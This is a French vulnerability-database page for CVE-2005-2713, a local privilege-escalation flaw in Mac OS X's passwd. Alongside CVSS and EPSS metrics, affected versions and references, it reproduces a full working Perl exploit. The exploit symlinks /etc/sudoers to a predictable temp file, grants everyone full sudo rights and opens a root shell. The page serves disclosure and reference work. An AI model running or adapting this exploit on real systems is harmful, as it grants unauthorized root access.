CVE-2005-2713 : Détail

CVE-2005-2713

0.2%V4
Local
2006-03-02
18h00 +00:00
2018-10-19
12h57 +00:00
Notifications pour un CVE
Restez informé de toutes modifications pour un CVE spécifique.
Gestion des notifications

Descriptions du CVE

passwd in Directory Services in Mac OS X 10.3.x before 10.3.9 and 10.4.x before 10.4.5 allows local users to create arbitrary world-writable files as root by specifying an alternate file in the password database option.

Informations du CVE

Métriques

Métriques Score Gravité CVSS Vecteur Source
V2 6.8 AV:L/AC:L/Au:S/C:C/I:C/A:C nvd@nist.gov

EPSS

EPSS est un modèle de notation qui prédit la probabilité qu'une vulnérabilité soit exploitée.

Score EPSS

Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.

Percentile EPSS

Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.

Informations sur l'Exploit

Exploit Database EDB-ID : 1545

Date de publication : 2006-02-28 23h00 +00:00
Auteur : vade79
EDB Vérifié : Yes

#!/usr/bin/perl # # /usr/bin/passwd[OSX]: local root exploit. # # by: vade79/v9 v9@fakehalo.us (fakehalo/realhalo) # # (Apple) OSX's /usr/bin/passwd program has support for a custom # passwd file to be used instead of the standard/static path. this # feature has security issues in the form of editable file(s) being # made anywheres on the disk and also writing arbitrary data to files. # # the first issue will only work if the file does not already exist, # it is done using "umask 0;/usr/bin/passwd -i file -l <filename>". # the second issue is once a successful password change has occured # /usr/bin/passwd will insecurely re-write the passwd file to # /tmp/.pwtmp.<pid>, which can be predicted and linked to a file of # your choice. (this exploits the second issue to overwrite # /etc/sudoers) # # (for some reason this took apple 6 or so months to patch) use POSIX; $fake_passwd="/tmp/xpasswd.$$"; $passwd_pid=($$ + 1); $passwd_tempfile="/tmp/.pwtmp.$passwd_pid"; $sudoers="/etc/sudoers"; sub pexit{print("[!] @_.\n");exit(1);} print("[*] /usr/bin/passwd[OSX]: local root exploit.\n"); print("[*] by: vade79/v9 v9\@fakehalo.us (fakehalo/realhalo)\n\n"); unlink($fake_passwd); print("[*] making fake password file. ($fake_passwd)\n"); open(FP,">$fake_passwd")||pexit("couldn't open/write to $fake_passwd"); # uid must equal the current user. print(FP "ALL ALL=(ALL) ALL #::" . getuid . ":" . getuid . "::" . getuid . ":" . getuid . "::/:/\n"); close(FP); print("[*] sym-linking $sudoers -> $passwd_tempfile.\n"); symlink($sudoers,$passwd_tempfile)||pexit("couldn't link files."); print("[*] running /usr/bin/passwd on $fake_passwd.\n"); print("[*] (use ANY password longer than 4 characters)\n\n"); system("/usr/bin/passwd -i file -l $fake_passwd \"ALL ALL=(ALL) ALL #\""); print("\n[*] running \"sudo sh\", use your REAL (user) password.\n\n"); system("/usr/bin/sudo sh"); exit(0); # milw0rm.com [2006-03-01]

Products Mentioned

Configuraton 0

Apple>>Mac_os_x >> Version 10.3

Apple>>Mac_os_x >> Version 10.3.1

Apple>>Mac_os_x >> Version 10.3.2

Apple>>Mac_os_x >> Version 10.3.3

Apple>>Mac_os_x >> Version 10.3.4

Apple>>Mac_os_x >> Version 10.3.5

Apple>>Mac_os_x >> Version 10.3.6

Apple>>Mac_os_x >> Version 10.3.7

Apple>>Mac_os_x >> Version 10.3.8

Apple>>Mac_os_x >> Version 10.3.9

Apple>>Mac_os_x >> Version 10.4

Apple>>Mac_os_x >> Version 10.4.1

Apple>>Mac_os_x >> Version 10.4.2

Apple>>Mac_os_x >> Version 10.4.3

Apple>>Mac_os_x >> Version 10.4.4

Apple>>Mac_os_x >> Version 10.4.5

Apple>>Mac_os_x_server >> Version 10.3

Apple>>Mac_os_x_server >> Version 10.3.1

Apple>>Mac_os_x_server >> Version 10.3.2

Apple>>Mac_os_x_server >> Version 10.3.3

Apple>>Mac_os_x_server >> Version 10.3.4

Apple>>Mac_os_x_server >> Version 10.3.5

Apple>>Mac_os_x_server >> Version 10.3.6

Apple>>Mac_os_x_server >> Version 10.3.7

Apple>>Mac_os_x_server >> Version 10.3.8

Apple>>Mac_os_x_server >> Version 10.3.9

Apple>>Mac_os_x_server >> Version 10.4

Apple>>Mac_os_x_server >> Version 10.4.1

Apple>>Mac_os_x_server >> Version 10.4.2

Apple>>Mac_os_x_server >> Version 10.4.3

Apple>>Mac_os_x_server >> Version 10.4.4

Apple>>Mac_os_x_server >> Version 10.4.5

Références

http://www.idefense.com/intelligence/vulnerabilities/display.php?id=400
Tags : third-party-advisory, x_refsource_IDEFENSE
http://secunia.com/advisories/19064
Tags : third-party-advisory, x_refsource_SECUNIA
http://www.securityfocus.com/bid/16907
Tags : vdb-entry, x_refsource_BID
http://www.vupen.com/english/advisories/2006/0791
Tags : vdb-entry, x_refsource_VUPEN
http://www.securityfocus.com/bid/16910
Tags : vdb-entry, x_refsource_BID
http://www.us-cert.gov/cas/techalerts/TA06-062A.html
Tags : third-party-advisory, x_refsource_CERT
http://www.osvdb.org/23646
Tags : vdb-entry, x_refsource_OSVDB